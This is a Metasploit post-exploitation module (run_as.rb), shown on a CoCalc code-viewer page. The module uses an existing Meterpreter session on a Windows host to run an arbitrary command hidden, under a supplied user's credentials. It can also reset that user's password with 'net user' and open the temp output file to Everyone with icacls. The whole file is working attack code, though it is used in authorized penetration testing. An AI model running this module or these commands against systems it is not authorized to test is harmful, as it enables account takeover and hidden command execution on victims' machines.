CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/post/windows/manage/run_as.rb
Views: 1904
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Post
7
include Msf::Post::File
8
include Msf::Post::Windows::Priv
9
include Msf::Post::Windows::Runas
10
11
def initialize(info = {})
12
super(
13
update_info(
14
info,
15
'Name' => 'Windows Manage Run Command As User',
16
'Description' => %q{
17
This module will login with the specified username/password and execute the
18
supplied command as a hidden process. Output is not returned by default, by setting
19
CMDOUT to true output will be redirected to a temp file and read back in to
20
display. By setting advanced option SETPASS to true, it will reset the users
21
password and then execute the command.
22
},
23
'License' => MSF_LICENSE,
24
'Platform' => ['win'],
25
'SessionTypes' => ['meterpreter'],
26
'Author' => ['Kx499'],
27
'Compat' => {
28
'Meterpreter' => {
29
'Commands' => %w[
30
stdapi_railgun_api
31
stdapi_sys_config_getprivs
32
]
33
}
34
}
35
)
36
)
37
38
register_options(
39
[
40
OptString.new('DOMAIN', [true, 'Domain to login with' ]),
41
OptString.new('USER', [true, 'Username to login with' ]),
42
OptString.new('PASSWORD', [true, 'Password to login with' ]),
43
OptString.new('CMD', [true, 'Command to execute' ]),
44
OptBool.new('CMDOUT', [true, 'Retrieve command output', false])
45
]
46
)
47
48
register_advanced_options(
49
[
50
OptBool.new('SETPASS', [true, 'Reset password', false])
51
]
52
)
53
end
54
55
# Check if sufficient privileges are present for certain actions and run getprivs for system
56
# If you elevated privs to system,the SeAssignPrimaryTokenPrivilege will not be assigned. You
57
# need to migrate to a process that is running as
58
# system. If you don't have privs, this exits script.
59
def priv_check
60
if is_system?
61
privs = session.sys.config.getprivs
62
return privs.include?('SeAssignPrimaryTokenPrivilege') && privs.include?('SeIncreaseQuotaPrivilege')
63
end
64
65
false
66
end
67
68
def reset_pass(user, password)
69
tmpout = cmd_exec("cmd.exe /c net user #{user} #{password}")
70
return tmpout.include?('successfully')
71
rescue StandardError
72
return false
73
end
74
75
def touch(path)
76
write_file(path, '')
77
cmd_exec("icacls #{path} /grant Everyone:(F)")
78
end
79
80
def run
81
# Make sure we meet the requirements before running the script, note no need to return
82
# unless error
83
return unless session.type == 'meterpreter'
84
85
pi = nil
86
# check/set vars
87
setpass = datastore['SETPASS']
88
cmdout = datastore['CMDOUT']
89
user = datastore['USER'] || nil
90
password = datastore['PASSWORD'] || nil
91
cmd = datastore['CMD'] || nil
92
domain = datastore['DOMAIN']
93
94
if setpass
95
print_status('Setting user password')
96
fail_with(Failure::Unknown, 'Error resetting password') unless reset_pass(user, password)
97
end
98
99
# If command output is requested, then create output file and set open permissions
100
if cmdout
101
system_temp = get_env('WINDIR') << '\\Temp'
102
outpath = "#{system_temp}\\#{Rex::Text.rand_text_alpha(8)}.txt"
103
touch(outpath)
104
cmdstr = "cmd.exe /c #{cmd} > #{outpath}"
105
else
106
cmdstr = "cmd.exe /c #{cmd}"
107
end
108
109
# Check privs and execute the correct commands
110
# if user use createprocesswithlogon, if system logonuser and createprocessasuser
111
# execute command and get output with a poor mans pipe
112
if priv_check
113
print_status('Executing CreateProcessAsUserA...we are SYSTEM')
114
pi = create_process_as_user(domain, user, password, nil, cmdstr)
115
if pi
116
session.railgun.kernel32.CloseHandle(pi[:process_handle])
117
session.railgun.kernel32.CloseHandle(pi[:thread_handle])
118
end
119
else
120
print_status('Executing CreateProcessWithLogonW...')
121
pi = create_process_with_logon(domain, user, password, nil, cmdstr)
122
end
123
124
# Only process file if the process creation was successful, delete when done, give us info
125
# about process
126
if pi
127
tmpout = read_file(outpath) if cmdout
128
129
print_status("Command Run: #{cmdstr}")
130
vprint_status("Process Handle: #{pi[:process_handle]}")
131
vprint_status("Thread Handle: #{pi[:thread_handle]}")
132
vprint_status("Process Id: #{pi[:process_id]}")
133
vprint_status("Thread Id: #{pi[:thread_id]}")
134
print_status("Command output:\r\n#{tmpout}") if cmdout
135
end
136
137
if cmdout
138
print_status("Removing temp file #{outpath}")
139
rm_f(outpath)
140
end
141
end
142
end
143
144